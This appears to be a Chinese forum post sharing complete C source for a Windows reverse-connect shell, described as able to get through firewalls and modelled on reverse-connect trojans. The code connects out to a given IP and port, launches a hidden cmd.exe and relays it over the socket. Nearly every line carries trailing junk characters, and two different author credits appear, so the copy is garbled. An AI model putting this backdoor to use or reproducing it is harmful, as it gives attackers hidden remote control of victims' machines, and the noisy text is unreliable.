这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3+MB5T
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/* ============================== lC97_T
Rebound port in Windows NT .AV)'j#6P
By wind,2006/7 F?Ju??O
===============================*/ 33:DH}
#include ,1Qd\8N9
#include gG54:
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#pragma comment(lib,"wsock32.lib") 8:ggECD
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void OutputShell(); JM0I(% Z%
SOCKET sClient; E_$z`or
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (7lBID4
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void main(int argc,char **argv) $awi>#[
{ nbofYI$rd&
WSADATA stWsaData; "cho }X
int nRet; 0Flu\w/+P
SOCKADDR_IN stSaiClient,stSaiServer; uK*Nu^
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if(argc != 3) mkvvNm3
{ )"@t6.
printf("Useage:\n\rRebound DestIP DestPort\n"); &!7+Yb(1
return; OQ_stE2i
} s #:%x#
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y{Ap80'\6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E|Bd>G
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stSaiClient.sin_family = AF_INET; {sN"(H4$
stSaiClient.sin_port = htons(0); "#^MUQ!a
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p(3sgY1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K6\` __mLf
{ /dHs &SU,
printf("Bind Socket Failed!\n"); _45cH{$sA
return; ;cP8 ?U
} &TN2 HZ-bJ
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stSaiServer.sin_family = AF_INET; K\=8eg93Z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pV`$7^#X
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T@+ClZi
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]Bu DaxWN
{ a#(U2OP
printf("Connect Error!"); 2PC5^Ni/9@
return; P@ypk^v
} 4!%]fg}Um
OutputShell(); y,C!9l
} 4KIWb~0Y
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void OutputShell() bAhZ7;T~
{ 3A0_C?E
char szBuff[1024]; }0eg{{g8
SECURITY_ATTRIBUTES stSecurityAttributes; =3+L#P=i9
OSVERSIONINFO stOsversionInfo; ~@M7&%]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xEoip?O?7F
STARTUPINFO stStartupInfo; F?*k}]Gi
char *szShell; MQ w9X
PROCESS_INFORMATION stProcessInformation; ;w6s<a@Zh
unsigned long lBytesRead; W7e4pR?w
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OXtBJYe
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }brr ))
stSecurityAttributes.lpSecurityDescriptor = 0; c cr" ep
stSecurityAttributes.bInheritHandle = TRUE; E`E'<"{Yd
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Baq ~}B<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A~y VYC6l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {visv{R<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O)<r>vqe}
stStartupInfo.wShowWindow = SW_HIDE; [t}):}~F|
stStartupInfo.hStdInput = hReadPipe; nZW4} ~0j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @,6ST0xT (
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GetVersionEx(&stOsversionInfo); b+$o4l/x
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switch(stOsversionInfo.dwPlatformId) 'wE\{1~_[+
{ `i4I!E
case 1: \(9p&"Q-
szShell = "command.com"; sA2o2~AmM
break; =tq7z =k
default: bw;iz,Z
szShell = "cmd.exe"; *^6k[3VY
break; Q0SW;o7
} cUM_ncYOP
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V<W02\Hs
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send(sClient,szMsg,77,0); ]-rczl|o
while(1) B%(K0`G#X
{ ,*w>z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0$?qoS
if(lBytesRead) ZpTi:3>
{ $l43>e{E
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kI]=&Rw
send(sClient,szBuff,lBytesRead,0); <tU
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} &08Tns"
else KMe.i'
{ * T\>
lBytesRead=recv(sClient,szBuff,1024,0); gpsrw>nw
if(lBytesRead<=0) break; &}O8w77
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2}|vWKej{
} iUpSN0XkMM
} mR6E]TuM
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return; l [x%I
}